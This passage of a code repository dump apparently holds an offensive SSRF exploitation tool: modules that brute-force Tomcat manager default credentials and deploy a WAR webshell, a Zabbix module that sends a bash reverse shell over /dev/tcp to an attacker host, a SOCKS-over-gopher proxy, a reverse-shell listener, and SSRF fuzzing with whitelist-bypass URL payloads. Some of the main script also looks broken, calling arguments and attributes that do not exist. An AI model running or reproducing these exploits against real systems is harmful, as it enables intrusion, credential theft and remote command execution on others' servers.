| else: 50 | dest = extra 51 | 52 | destport, = struct.unpack("!H", port.encode()) 53 | sock.send(("\x00\x5a"+port+host).encode() ) 54 | 55 | data = sock.recv(self.BUFSIZ) 56 | 57 | try: 58 | encodeddata = urllib.parse.quote(data) 59 | payload = wrapper_gopher(encodeddata, dest , str(destport)) 60 | r = requester.do_request(args.param, payload) 61 | 62 | if r.text != None: 63 | sock.send(r.text.encode()) 64 | sock.close() 65 | 66 | except Exception as e: 67 | logging.error(e) 68 | sock.close() 69 | 70 | def decodesocks(self, req): 71 | req = req.decode() 72 | 73 | if req[0] != '\x04': 74 | raise Exception('bad version number') 75 | if req[1] != '\x01': 76 | raise Exception('only tcp stream supported') 77 | 78 | port = req[2:4] 79 | host = req[4:8] 80 | if host[0] == '\x00' and host[1] == '\x00' and host[2] == '\x00' and host[3] != '\x00': 81 | byname = True 82 | else: 83 | byname = False 84 | 85 | # NOTE: seems useless 86 | userid = "" 87 | i = 8 88 | while req[i] != '\x00': 89 | userid += req[i] 90 | extra = "" 91 | 92 | if byname: 93 | while req[i] != '\x00': 94 | extra += req[i] 95 | 96 | return host, port, extra -------------------------------------------------------------------------------- /modules/template.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | 4 | name = "servicename in lowercase" 5 | description = "ServiceName RCE - What does it do" 6 | author = "Name or pseudo of the author" 7 | documentation = ["http://link_to_a_research", "http://another_link"] 8 | 9 | class exploit(): 10 | SERVER_HOST = "127.0.0.1" 11 | SERVER_PORT = "4242" 12 | 13 | def __init__(self, requester, args): 14 | logging.info(f"Module '{name}' launched !") 15 | 16 | # Handle args for reverse shell 17 | if args.lhost == None: self.SERVER_HOST = input("Server Host:") 18 | else: self.SERVER_HOST = args.lhost 19 | 20 | if args.lport == None: self.SERVER_PORT = input("Server Port:") 21 | else: self.SERVER_PORT = args.lport 22 | 23 | # Using a generator to create the host list 24 | gen_host = gen_ip_list("127.0.0.1", args.level) 25 | for ip in gen_host: 26 | 27 | # Data and port for the service 28 | port = "6379" 29 | data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a" 30 | payload = wrapper_gopher(data, ip , port) 31 | 32 | # Handle args for reverse shell 33 | payload = payload.replace("SERVER_HOST", self.SERVER_HOST) 34 | payload = payload.replace("SERVER_PORT", self.SERVER_PORT) 35 | 36 | # Send the payload 37 | r = requester.do_request(args.param, payload) -------------------------------------------------------------------------------- /modules/tomcat.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import argparse 3 | import base64 4 | import binascii 5 | import getopt 6 | import logging 7 | import re 8 | import sys 9 | import urllib 10 | import zipfile 11 | 12 | 13 | # NOTE 14 | # This exploit is a Python 3 version of Pimps script 15 | # with a simple bruteforcer and auto exploiter 16 | # https://github.com/pimps/gopher-tomcat-deployer 17 | 18 | name = "tomcat" 19 | description = "Tomcat - Bruteforce manager and WAR uploader" 20 | author = "errorfiathck" 21 | documentation = [ 22 | "https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html", 23 | "https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown", 24 | "https://github.com/pimps/gopher-tomcat-deployer" 25 | ] 26 | 27 | class exploit(): 28 | SERVER_HOST = "127.0.0.1" 29 | SERVER_PORT = "8888" 30 | SERVER_TOMCAT = "manager/html" 31 | SERVER_USER = "tomcat" 32 | SERVER_PASS = "tomcat" 33 | EXPLOIT_JSP = "data/cmd.jsp" 34 | EXPLOIT_WAR = "/tmp/cmd.war" 35 | tomcat_user = ["tomcat", "admin", "both", "manager", "role1", "role", "root"] 36 | tomcat_pass = ["password", "tomcat", "admin", "manager", "role1", "changethis", "changeme", "r00t", "root", "s3cret","Password1", "password1"] 37 | 38 | def __init__(self, requester, args): 39 | logging.info(f"Module '{name}' launched !") 40 | self.args = args 41 | 42 | # Using a generator to create the host list 43 | gen_host = gen_ip_list(self.SERVER_HOST, args.level) 44 | for ip in gen_host: 45 | for usr in self.tomcat_user: 46 | for pss in self.tomcat_pass: 47 | payload = wrapper_http(self.SERVER_TOMCAT, ip, self.SERVER_PORT, usernm=usr, passwd=pss) 48 | r = requester.do_request(args.param, payload) 49 | 50 | if r != None and not "s3cret" in r.text: 51 | logging.info(f"Found credential \033[32m{usr}\033[0m:\033[32m{pss}\033[0m") 52 | self.SERVER_USER = usr 53 | self.SERVER_PASS = pss 54 | 55 | # bruteforce padding for a good zip file 56 | # worst solution until I find an alternate 57 | # way to convert the is_ascii from the original 58 | # Python 2 payload 59 | for i in range(5): 60 | payload = self.send_war(i) 61 | r = requester.do_request(args.param, payload) 62 | 63 | if args.verbose == True: 64 | logging.info(f"Generated payload : {payload}") 65 | 66 | logging.info(f"Sending CMD to cmd.jsp for padding: {i}") 67 | payload = wrapper_http("cmd/cmd.jsp?cmd=whoami", self.SERVER_HOST, self.SERVER_PORT) 68 | r = requester.do_request(args.param, payload) 69 | if r.text != None and r.text != "": 70 | logging.info(r.text) 71 | break 72 | 73 | 74 | def send_war(self, padding): 75 | with open(self.EXPLOIT_JSP, 'r') as f: 76 | webshell_data = f.read() 77 | webshell_data = self.validate_webshell_length_and_crc32(webshell_data + ' '*padding) 78 | 79 | if self.args.verbose == True: 80 | logging.info("[+] Creating new zip file: " + self.EXPLOIT_WAR) 81 | self.create_war_zip_file(self.EXPLOIT_WAR, self.EXPLOIT_JSP, webshell_data) 82 | 83 | if self.args.verbose == True: 84 | logging.info("[+] Valid WAR file generated... Creating the gopher payload now...") 85 | gopher_payload = self.build_gopher_payload() 86 | 87 | return wrapper_gopher(gopher_payload, self.SERVER_HOST, self.SERVER_PORT) 88 | 89 | def create_war_zip_file(self, war_filename,inputfile,webshell_data): 90 | warzip = zipfile.ZipFile(war_filename,'w') 91 | # Write a known good date/war_filename stamp 92 | # this date/time does not contain and invalid byte values 93 | info = zipfile.ZipInfo(inputfile,date_time=(1980, 1, 1, 0, 0, 0)) 94 | # Write out the webshell the zip file. 95 | warzip.writestr(info,webshell_data) 96 | warzip.close() 97 | 98 | def validate_webshell_length_and_crc32(self, webshell_data): 99 | valid_length=0 100 | valid_crc32=0 101 | modded_length=0 102 | 103 | if self.args.verbose == True: 104 | logging.info(f"Original file length: {len(webshell_data):08X}") 105 | logging.info(f"Original file crc32: {binascii.crc32(webshell_data.encode())& 0xffffffff:x}") 106 | 107 | while valid_length == 0 or valid_crc32 == 0: 108 | crc_string = f"{binascii.crc32(webshell_data.encode())& 0xffffffff:x}" 109 | ws_len_byte_string = f"{len(webshell_data):08X}" 110 | valid_length=1 111 | valid_crc32=1 112 | lead_byte_locations = [0,2,4,6] 113 | for x in lead_byte_locations: 114 | try: 115 | if(ws_len_byte_string[x] == '8' or ws_len_byte_string[x] == '9' or crc_string[x] == '8' or crc_string[x] == '9'): 116 | webshell_data = webshell_data+" " 117 | valid_length = 0 118 | valid_crc32 = 0 119 | modded_length = modded_length+1 120 | except: 121 | continue 122 | 123 | if modded_length > 0: 124 | logging.info("The input file CRC32 or file length contained an invalid byte.") 125 | logging.info("Length adjustment completed. " + str(modded_length) + " whitespace ' ' chars were added to the webshell input.") 126 | logging.info(f"New file length: {len(webshell_data):08X}") 127 | logging.info(f"New file crc32: {binascii.crc32(webshell_data.encode())& 0xffffffff:x}") 128 | return webshell_data 129 | 130 | def url_encode_all(self, string): 131 | return "".join([f"%{ord(char):0>2x}" for char in string]) 132 | 133 | def build_gopher_payload(self): 134 | warfile = "" 135 | with open(self.EXPLOIT_WAR, 'rb') as f: 136 | warfile = f.read() 137 | 138 | headers = 'POST /manager/html/upload HTTP/1.1\r\n' 139 | headers += 'Host: {host}:{port}\r\n' 140 | headers += 'Content-Type: multipart/form-data; boundary=---------------------------1510321429715549663334762841\r\n' 141 | headers += 'Content-Length: {contentlength}\r\n' 142 | headers += 'Authorization: Basic {credential}\r\n' 143 | headers += 'Connection: close\r\n' 144 | headers += 'Upgrade-Insecure-Requests: 1\r\n' 145 | headers += '\r\n' 146 | headers += '{content_body}' 147 | 148 | content = '-----------------------------1510321429715549663334762841\r\n' 149 | content += 'Content-Disposition: form-data; name="deployWar"; filename="{filename}"\r\n' 150 | content += 'Content-Type: application/octet-stream\r\n' 151 | content += '\r\n' 152 | content += '{warfile}\r\n' 153 | content += '-----------------------------1510321429715549663334762841--\r\n' 154 | 155 | content_body = content.format( 156 | filename=self.EXPLOIT_WAR, 157 | warfile=warfile 158 | ) 159 | payload = headers.format( 160 | host=self.SERVER_HOST, 161 | port=self.SERVER_PORT, 162 | credential=base64.b64encode((self.SERVER_USER + ":" + self.SERVER_PASS).encode()), 163 | contentlength=len(content_body), 164 | content_body=content_body 165 | ) 166 | return self.url_encode_all(payload) -------------------------------------------------------------------------------- /modules/zabbix.py: -------------------------------------------------------------------------------- 1 | from utils.utils import * 2 | import logging 3 | import urllib.parse as urllib 4 | 5 | # NOTE 6 | # Require `EnableRemoteCommands = 1` on the Zabbix service 7 | 8 | name = "zabbix" 9 | description = "Zabbix RCE" 10 | author = "errorfiathck" 11 | documentation = [] 12 | 13 | class exploit(): 14 | cmd = "bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1" 15 | 16 | def __init__(self, requester, args): 17 | logging.info(f"Module '{name}' launched !") 18 | 19 | cmd = input("Give command to execute (Enter for Reverse Shell): ") 20 | if cmd == "": 21 | if args.lhost == None: 22 | self.cmd = self.cmd.replace("SERVER_HOST", input("Server Host:")) 23 | else: 24 | self.cmd = self.cmd.replace("SERVER_HOST", args.lhost) 25 | 26 | if args.lport == None: 27 | self.cmd = self.cmd.replace("SERVER_PORT", input("Server Port:")) 28 | else: 29 | self.cmd = self.cmd.replace("SERVER_PORT", args.lport) 30 | else: 31 | self.cmd = cmd 32 | 33 | # Data for the service 34 | gen_host = gen_ip_list("127.0.0.1", args.level) 35 | for ip in gen_host: 36 | port = "10050" 37 | self.cmd = urllib.quote_plus(self.cmd).replace("+","%20") 38 | self.cmd = self.cmd.replace("%2F","/") 39 | self.cmd = self.cmd.replace("%25","%") 40 | self.cmd = self.cmd.replace("%3A",":") 41 | data = "system.run[(" + self.cmd + ");sleep 2s]" 42 | 43 | payload = wrapper_gopher(data, ip , port) 44 | logging.info(f"Generated payload : {payload}") 45 | 46 | # Send the payload 47 | r = requester.do_request(args.param, payload) -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | urllib3 2 | urllib 3 | requests 4 | argparse 5 | regex 6 | Flask 7 | pycopy-binascii 8 | futures 9 | 10 | -------------------------------------------------------------------------------- /ssrf-exploit: -------------------------------------------------------------------------------- 1 | from banner.banner import banner 2 | import urllib.parse 3 | import urllib3 4 | import regex 5 | import argparse 6 | import requests 7 | import time 8 | import os 9 | import threading 10 | import random 11 | import logging 12 | import re 13 | import json 14 | import socket 15 | import sys 16 | import base64 17 | 18 | execPath = os.getcwd() 19 | currentPath = os.path.dirname(__file__) 20 | os.chdir(currentPath) 21 | 22 | FUZZ_PLACE_HOLDER = '??????' 23 | TIMEOUT_DELAY = 5 24 | LOCK = threading.Lock() 25 | 26 | banner() 27 | 28 | example_text = '''Example: 29 | python3 ssrf-exploition.py -u https://example.com/ 30 | python3 ssrf-exploition.py -u https://example.com/ -m redis 31 | python3 ssrf-exploition.py -u https://example.com/ -m portscan 32 | python3 ssrf-exploition.py -u https://example.com/ -m readfiles --rfile 33 | python3 ssrf-exploition.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent" 34 | python3 ssrf-exploition.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080 35 | python3 ssrf-exploition.py -d data/request.txt -u https://example.com/ -m redis 36 | python3 ssrf-exploition.py -u https://example.com/ -cn subdomain.collaborator.net -m canary 37 | python3 ssrf-exploition.py -u https://example.com/ -cn https://subdomain.collaborator.net --mode canary -e 2 38 | python3 ssrf-exploition.py -f addresses.txt -c 'touch vrechson' --mode rce -Fl Jira 39 | python3 ssrf-exploition.py -f addresses.txt -c 'touch vrechson' --mode rce -p https -v 40 | 41 | 42 | ''' 43 | parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter) 44 | parser.add_argument("--file", "-f", metavar="TARGET_FILE", nargs="?", help="Set the target list containing internal domain names or IP addresses") 45 | parser.add_argument("--url", "-u", type=str, required=False, help= 'url to be tested against SSRF') 46 | parser.add_argument("--threads", "-n", type=int, required=False, help= 'number of threads for the tool') 47 | parser.add_argument("--output", "-o", type=str, required=False, help='output file path') 48 | parser.add_argument("--data", "-d", action="store", dest="reqfile", help="SSRF Request File") 49 | parser.add_argument("--protocol", "-p", metavar="PROTOCOL", nargs="?", default="http://", help="Set the internal address protocol.\ndefault is http://") 50 | parser.add_argument("--moudle", "-m", action="store", dest="moudles", help="SSRF Moudles to enable") 51 | parser.add_argument("--canary", "-cn", metavar="CANARY_ADDRESS", nargs="?", help="Set canary address to confirm internal services") 52 | parser.add_argument("--command", "-c", metavar="COMMAND", nargs="?", default="", help="Set the command to be executed") 53 | parser.add_argument("--encode", "-e", metavar="ENCODE_LEVEL", nargs="?", default="1", help="Set the payload's URLencode level,ex:\n-e 0 will not encode the payload\n-e 2 will double URLencode the output") 54 | parser.add_argument("--filter", "-Fl", metavar="FILTER", nargs="*", default=["shellshock"], help="Filter category, framework or a specific payload from the results\ndefault: exclude Shellshock payloads") 55 | parser.add_argument("--handler", "-l", action="store", dest="handler", help="Start an handler for a reverse shell" ) 56 | parser.add_argument("--OAuth", "--ar", help="Aurhotization request URL ending with redirect_uri=", required=False) 57 | parser.add_argument("--oneshot", "-t", action='store_true', help='fuzz with only one basic payload - to be activated in case of time constraints') 58 | parser.add_argument("--rfiles", "-r", action="store", dest="targetfiles", help="Files to read with readfiles moudle" ) 59 | parser.add_argument("--verbose", "-v", action='store_true', help='activate verbose mode' ) 60 | parser.add_argument("--mode", metavar="MODE", nargs="?", default="canary", help="There are currently three supported modes:\ncanary (deafult mode: generate canary payloads)\nrce (generate payloads that can lead to RCE)\nall (generates RCE and Canary payloads)") 61 | parser.add_argument("--lhost", action="store", dest="lhost", help="LHOST reverse shell") 62 | parser.add_argument("--lport", action="store", dest="lport", help="LPORT reverse shell") 63 | parser.add_argument("--ssl", action ='store', dest='ssl', help="Use HTTPS without verification", ) 64 | parser.add_argument("--proxy", action ='store', dest='proxy', help="Use HTTP(s) proxy (ex: http://localhost:8080)") 65 | parser.add_argument("--level", action ='store', dest='level', help="Level of test to perform (1-5, default: 1)", default=1, type=int) 66 | parser.add_argument("--uagent", action="store", dest="useragent", help="useragent to use") 67 | 68 | 69 | args = parser.parse_args() 70 | 71 | if not (args.file or args.url): 72 | parser.error('No input selected: Please add --file or --url as arguments.') 73 | 74 | if not os.path.isdir('output'): 75 | os.system("mkdir output") 76 | 77 | if not os.path.isdir('output/threadsLogs'): 78 | os.system("mkdir output/threadsLogs") 79 | else: 80 | os.system("rm -r output/threadsLogs") 81 | os.system("mkdir output/threadsLogs") 82 | 83 | if args.output: 84 | outputFile = open(f"{execPath}/{args.output}", "a") 85 | else: 86 | outputFile = open("output/ssrf-result.txt", "a") 87 | 88 | if args.file: 89 | allURLs = [line.replace('\n', '') for line in open(f"{execPath}/{args.file}", "r")] 90 | 91 | regexParams = regex.compile('(?<=(access|dbg|debug|edit|grant|clone|exec|execute|load|make|modify|reset|shell|toggle|adm|root|cfg|dest|redirect|uri|path|continue|url|window|next|data|site|html|validate|domain|callback|return|host|port|to|out|view|dir|show|navigation|open|file|document|folder|pg|php_path|doc|img|filename|file_name|image)=)(.*)(?=(&|$))', flags=regex.IGNORECASE) 92 | 93 | extractInteractionServerURL = "(?<=] )([a-z0-9][a-z0-9][a-z0-9].*)" 94 | 95 | 96 | class Handler(threading.Thread): 97 | 98 | def __init__(self, host, port): 99 | threading.Thread.__init__(self) 100 | logging.info(f"Handler listening on {host}:{port}") 101 | self.connected = False 102 | self.port = int(port) 103 | self.host = str(host) 104 | 105 | def run(self): 106 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 107 | self.socket.bind((self.host, self.port)) 108 | 109 | while True: 110 | self.socket.listen(5) 111 | self.client, address = self.socket.accept() 112 | print(f"Handler> New session from {address[0]}") 113 | self.connected = True 114 | 115 | response = self.client.recv(255) 116 | while response != b"": 117 | print(f"\n{response.decode('utf_8', 'ignore').strip()}\nShell > $ ", end='') 118 | response = self.client.recv(255) 119 | 120 | def listen_command(self): 121 | if self.connected == True: 122 | cmd = input("Shell> $ ") 123 | if cmd == "exit": 124 | self.kill() 125 | print("BYE !") 126 | exit() 127 | self.send_command(cmd+"\n\n") 128 | 129 | def send_command(self, cmd): 130 | self.client.sendall(cmd.encode()) 131 | 132 | def kill(self): 133 | self.client.close() 134 | self.socket.close() 135 | 136 | 137 | class Requester(object): 138 | protocol = "http" 139 | host = "" 140 | method = "" 141 | action = "" 142 | headers = {} 143 | data = {} 144 | 145 | def __init__(self, path, uagent, ssl, proxies): 146 | try: 147 | # Read file request 148 | with open(path, 'r') as f: 149 | content = f.read().strip() 150 | except IOError as e: 151 | logging.error("File not found") 152 | exit() 153 | 154 | try: 155 | content = content.split('\n') 156 | # Parse method and action URI 157 | regex = re.compile('(.*) (.*) HTTP') 158 | self.method, self.action = regex.findall(content[0])[0] 159 | 160 | # Parse headers 161 | for header in content[1:]: 162 | name, _, value = header.partition(': ') 163 | if not name or not value: 164 | continue 165 | self.headers[name] = value 166 | self.host = self.headers['Host'] 167 | 168 | # Parse user-agent 169 | if uagent != None: 170 | self.headers['User-Agent'] = uagent 171 | 172 | # Parse data 173 | self.data_to_dict(content[-1]) 174 | 175 | # Handling HTTPS requests 176 | if ssl == True: 177 | self.protocol = "https" 178 | 179 | self.proxies = proxies 180 | 181 | except Exception as e: 182 | logging.warning("Bad Format or Raw data !") 183 | 184 | 185 | def data_to_dict(self, data): 186 | if self.method == "POST": 187 | 188 | # Handle JSON data 189 | if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']: 190 | self.data = json.loads(data) 191 | 192 | # Handle XML data 193 | elif self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']: 194 | self.data['__xml__'] = data 195 | 196 | # Handle FORM data 197 | else: 198 | for arg in data.split("&"): 199 | regex = re.compile('(.*)=(.*)') 200 | for name,value in regex.findall(arg): 201 | name = urllib.parse.unquote(name) 202 | value = urllib.parse.unquote(value) 203 | self.data[name] = value 204 | 205 | 206 | def do_request(self, param, value, timeout=3, stream=False): 207 | try: 208 | if self.method == "POST": 209 | # Copying data to avoid multiple variables edit 210 | data_injected = self.data.copy() 211 | 212 | if param in str(data_injected): # Fix for issue/10 : str(data_injected) 213 | data_injected[param] = value 214 | 215 | # Handle JSON data 216 | if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']: 217 | r = requests.post( 218 | self.protocol + "://" + self.host + self.action, 219 | headers=self.headers, 220 | json=data_injected, 221 | timeout=timeout, 222 | stream=stream, 223 | verify=False, 224 | proxies=self.proxies 225 | ) 226 | 227 | # Handle FORM data 228 | else: 229 | if param == '': data_injected = value 230 | r = requests.post( 231 | self.protocol + "://" + self.host + self.action, 232 | headers=self.headers, 233 | data=data_injected, 234 | timeout=timeout, 235 | stream=stream, 236 | verify=False, 237 | proxies=self.proxies 238 | ) 239 | else: 240 | if self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']: 241 | if "*FUZZ*" in data_injected['__xml__']: 242 | 243 | # replace the injection point with the payload 244 | data_xml = data_injected['__xml__'] 245 | data_xml = data_xml.replace('*FUZZ*', value) 246 | 247 | r = requests.post( 248 | self.protocol + "://" + self.host + self.action, 249 | headers=self.headers, 250 | data=data_xml, 251 | timeout=timeout, 252 | stream=stream, 253 | verify=False, 254 | proxies=self.proxies 255 | ) 256 | 257 | else: 258 | logging.error("No injection point found ! (use -p)") 259 | exit(1) 260 | else: 261 | logging.error("No injection point found ! (use -p)") 262 | exit(1) 263 | else: 264 | # String is immutable, we don't have to do a "forced" copy 265 | regex = re.compile(param+"=([^&]+)") 266 | value = urllib.parse.quote(value, safe='') 267 | data_injected = re.sub(regex, param+'='+value, self.action) 268 | r = requests.get( 269 | self.protocol + "://" + self.host + data_injected, 270 | headers=self.headers, 271 | timeout=timeout, 272 | stream=stream, 273 | verify=False, 274 | proxies=self.proxies 275 | ) 276 | except Exception as e: 277 | logging.error(e) 278 | return None 279 | return r 280 | 281 | def __str__(self): 282 | text = self.method + " " 283 | text += self.action + " HTTP/1.1\n" 284 | for header in self.headers: 285 | text += header + ": " + self.headers[header] + "\n" 286 | 287 | text += "\n\n" 288 | for data in self.data: 289 | text += data + "=" + self.data[data] + "&" 290 | return text[:-1] 291 | 292 | class Gun: 293 | def __init__(self, target, file, command, encode_level, protocol, canary, mode, verbose, _filter): 294 | 295 | self._targets = [] 296 | 297 | if target is not None: 298 | self._targets.append(self.add_protocol(target, protocol)) 299 | else: 300 | with open(file) as f: 301 | for line in f: 302 | line = line.strip() 303 | self._targets.append(self.add_protocol(str(line), "http")) 304 | 305 | if canary is not None: 306 | self._canary = self.add_protocol(canary, protocol) 307 | else: 308 | self._canary = '' 309 | 310 | self._encode_level = int(encode_level) 311 | self._filter = _filter 312 | 313 | if mode == "canary": 314 | self._filter.append('http') 315 | self._filter.append('gopher') 316 | elif mode == "rce": 317 | self._filter.append('canaries') 318 | 319 | self._command = str(command) 320 | self._verbose = verbose 321 | self._crlf = "{canary}/ HTTP/1.1{newline}Connection:keep-alive{newline}Host:{canary_host}{newline}Content-Length: 1{newline}{newline}1{newline}" 322 | 323 | def reload(self): 324 | for line in self._targets: 325 | 326 | # format CRLF payloads 327 | self._crlf = self._crlf.format(canary = line, newline = '\\r\\n', canary_host = urllib.parse.urlparse(line).netloc) 328 | self.trigger(line) 329 | 330 | def trigger(self, target): 331 | payload_file = open('payloads/blind-ssrf-payloads.json') # remember to add dir here 332 | data = json.load(payload_file) 333 | 334 | for category in data['categories']: 335 | if category in self._filter: 336 | continue 337 | if self._verbose: 338 | print("[{}]:".format(category)) 339 | for framework in data['categories'][category]: 340 | if framework in self._filter: 341 | continue 342 | if self._verbose: 343 | print(" [{}]:".format(framework)) 344 | for payload in data['categories'][category][framework]: 345 | if payload in self._filter: 346 | continue 347 | address = data['categories'][category][framework][payload] \ 348 | .format(target_addr = target, canary_addr = self._canary, 349 | canary_urlencoded = urllib.parse.quote(self._canary), crlf = self._crlf, newline = '\\r\\n', 350 | target_host = urllib.parse.urlparse(target), command = self._command, command_b64encoded = base64.b64encode((self._command).encode('UTF-8')).decode('UTF-8')) 351 | 352 | for i in range(self._encode_level): 353 | address = urllib.parse.quote(address) 354 | 355 | if self._verbose: 356 | print(" [{}]:\n{}".format(payload, address)) 357 | else: 358 | print("{}".format(address)) 359 | 360 | def add_protocol(self, target, protocol): 361 | if target.endswith("/"): 362 | target = target[:-1] 363 | if "//" not in target: 364 | if "//" not in protocol: 365 | target = protocol + "://" + target 366 | else: 367 | target = protocol + target 368 | 369 | return target 370 | 371 | def getFileSize(fileID): 372 | interactionLogs = open(f"output/threadsLogs/interaction-logs{fileID}.txt", "r") 373 | return len(interactionLogs.read()) 374 | 375 | def getInteractionServer(): 376 | 377 | id = random.randint(0, 999999) 378 | os.system(f"interactsh-client -pi 1 &> output/threadsLogs/interaction-logs{id}.txt &") 379 | time.sleep(2) 380 | interactionServer = None 381 | while not interactionServer: 382 | interactionLogs = open(f"output/threadsLogs/interaction-logs{id}.txt", "r") 383 | fileContent = interactionLogs.read() 384 | pastInteractionLogsSize = len(fileContent) 385 | interactionServer = regex.search(extractInteractionServerURL, fileContent) 386 | time.sleep(2) 387 | 388 | interactionServer = interactionServer.group() 389 | 390 | return interactionServer, id 391 | 392 | 393 | def exception_verbose_message(exceptionType): 394 | if args.verbose: 395 | if exceptionType == "timeout": 396 | print("\nTimeout detected... URL skipped") 397 | elif exceptionType == "redirects": 398 | print("\nToo many redirects... URL skipped") 399 | elif exceptionType == "others": 400 | print("\nRequest error... URL skipped") 401 | 402 | def splitURLS(threadsSize): #Multithreading 403 | 404 | splitted = [] 405 | URLSsize = len(allURLs) 406 | width = int(URLSsize/threadsSize) 407 | if width == 0: 408 | width = 1 409 | endVal = 0 410 | i = 0 411 | while endVal != URLSsize: 412 | if URLSsize <= i + 2 * width: 413 | if len(splitted) == threadsSize - 2: 414 | endVal = int(i + (URLSsize - i)/2) 415 | else: 416 | endVal = URLSsize 417 | else: 418 | endVal = i + width 419 | 420 | splitted.append(allURLs[i: endVal]) 421 | i += width 422 | 423 | return splitted 424 | 425 | 426 | def generatePayloads(whitelistedHost, interactionHost): 427 | generated =[ 428 | f"http://{interactionHost}", 429 | f"//{interactionHost}", 430 | f"http://{whitelistedHost}.{interactionHost}", 431 | f"http://{interactionHost}?{whitelistedHost}", 432 | f"http://{interactionHost}/{whitelistedHost}", 433 | f"http://{interactionHost}%ff@{whitelistedHost}", 434 | f"http://{interactionHost}%ff.{whitelistedHost}", 435 | f"http://{whitelistedHost}%25253F@{interactionHost}", 436 | f"http://{whitelistedHost}%253F@{interactionHost}", 437 | f"http://{whitelistedHost}%3F@{interactionHost}", 438 | f"http://{whitelistedHost}@{interactionHost}", 439 | f"http://foo@{interactionHost}:80@{whitelistedHost}", 440 | f"http://foo@{interactionHost}%20@{whitelistedHost}", 441 | f"http://foo@{interactionHost}%09@{whitelistedHost}" 442 | ] 443 | return generated 444 | 445 | def smart_extract_host(url, matchedElement): 446 | urlDecodedElem = requests.utils.unquote(matchedElement) 447 | hostExtractorRegex = '(?<=(https|http):\/\/)(.*?)(?=\/)' 448 | extractedHost = regex.search(hostExtractorRegex, urlDecodedElem) 449 | if not extractedHost: 450 | extractedHost = regex.search(hostExtractorRegex, url) 451 | 452 | return extractedHost.group() 453 | 454 | def prepare_url_with_regex(url): 455 | 456 | replacedURL = regexParams.sub(FUZZ_PLACE_HOLDER, url) 457 | matchedElem = regexParams.search(url) 458 | 459 | if matchedElem: 460 | matchedElem = matchedElem.group() 461 | 462 | return replacedURL, matchedElem 463 | 464 | def fuzz_SSRF(url, interactionServer, fileID): 465 | 466 | pastInteractionLogsSize = getFileSize(fileID) 467 | 468 | replacedURL, matchedElem = prepare_url_with_regex(url) 469 | 470 | if not matchedElem: 471 | return 472 | 473 | if args.oneshot: 474 | payloadsList = [f"http://{interactionServer}"] 475 | else: 476 | host = smart_extract_host(url, matchedElem) 477 | payloadsList = generatePayloads(host, interactionServer) 478 | 479 | if args.verbose: 480 | if not args.threads: 481 | print(f" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +") 482 | print(f"\nStarting fuzzing {replacedURL}") 483 | 484 | for payload in payloadsList: 485 | fuzz_and_detect_with_payload("FUZZ", replacedURL, payload, fileID) 486 | 487 | time.sleep(2) 488 | if isInteractionDetected(pastInteractionLogsSize, fileID): 489 | if args.verbose: 490 | print(f"\nSSRF identified in {replacedURL}. Determining valid payload ...") 491 | for payload in payloadsList: 492 | if fuzz_and_detect_with_payload("DETECT", replacedURL, payload, fileID): 493 | print(f"SSRF detected in {replacedURL} with payload {payload}.") 494 | with LOCK: 495 | outputFile.write(f"SSRF detected in {replacedURL} with payload {payload}\n") 496 | return 497 | else: 498 | if args.verbose: 499 | print(f"\nNothing detected for {replacedURL}") 500 | 501 | def fuzz_and_detect_with_payload(type ,url, payload, fileID): 502 | pastInteractionLogsSize = getFileSize(fileID) 503 | 504 | fuzzedUrl = url.replace(FUZZ_PLACE_HOLDER, payload) 505 | if args.verbose: 506 | if not args.threads: 507 | print(f"Testing payload: {payload} ", end="\r") 508 | requests.get(fuzzedUrl, timeout=TIMEOUT_DELAY) 509 | if type == "DETECT": 510 | time.sleep(2) 511 | return isInteractionDetected(pastInteractionLogsSize, fileID) 512 | 513 | def isInteractionDetected(pastInteractionLogsSize, fileID): 514 | currentInteractionLogsSize = getFileSize(fileID) 515 | 516 | if currentInteractionLogsSize != pastInteractionLogsSize: 517 | return True 518 | 519 | return False 520 | 521 | def sequential_url_scan(urlList): 522 | 523 | interactionServer, fileID = getInteractionServer() 524 | 525 | for url in urlList: 526 | try: 527 | fuzz_SSRF(url, interactionServer, fileID) 528 | except requests.exceptions.Timeout: 529 | exception_verbose_message("timeout") 530 | except requests.exceptions.TooManyRedirects: 531 | exception_verbose_message("redirects") 532 | except Exception as e: 533 | print(f"{url} : {e}") 534 | exception_verbose_message("others") 535 | 536 | def main(): 537 | if args.url: 538 | try: 539 | sequential_url_scan([args.url]) 540 | except Exception as e: 541 | print("\nInvalid URL") 542 | elif args.file: 543 | 544 | if not args.threads or args.threads == 1: 545 | sequential_url_scan(allURLs) 546 | 547 | else: 548 | workingThreads = [] 549 | split = splitURLS(args.threads) 550 | for subList in split: 551 | t = threading.Thread(target=sequential_url_scan, args=[subList]) 552 | t.start() 553 | workingThreads.append(t) 554 | for thread in workingThreads: 555 | thread.join() 556 | outputFile.close() 557 | args_t = args() 558 | _command = '' 559 | 560 | if args_t.mode and args_t.mode != "canary": 561 | if not args_t.command: 562 | print('the argument -c/--command is required to generate RCE payloads') 563 | exit() 564 | else: 565 | if int(args_t.encode) > -1: 566 | _command = urllib.parse.quote(args_t.command) 567 | else: 568 | _command = args_t.command 569 | 570 | if args_t.mode and args_t.mode == "canary": 571 | if not args_t.canary: 572 | print('the argument -cn/--canary is required to generate canary payloads') 573 | exit() 574 | 575 | gun = Gun(args_t.target, args_t.target_list, _command, 576 | args_t.encode, args_t.protocol, args_t.canary, args_t.mode, args_t.verbose, args_t.filter) 577 | 578 | gun.reload() 579 | 580 | 581 | if __name__ == '__main__': 582 | main() 583 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 584 | 585 | logging.basicConfig( 586 | level=logging.INFO, 587 | 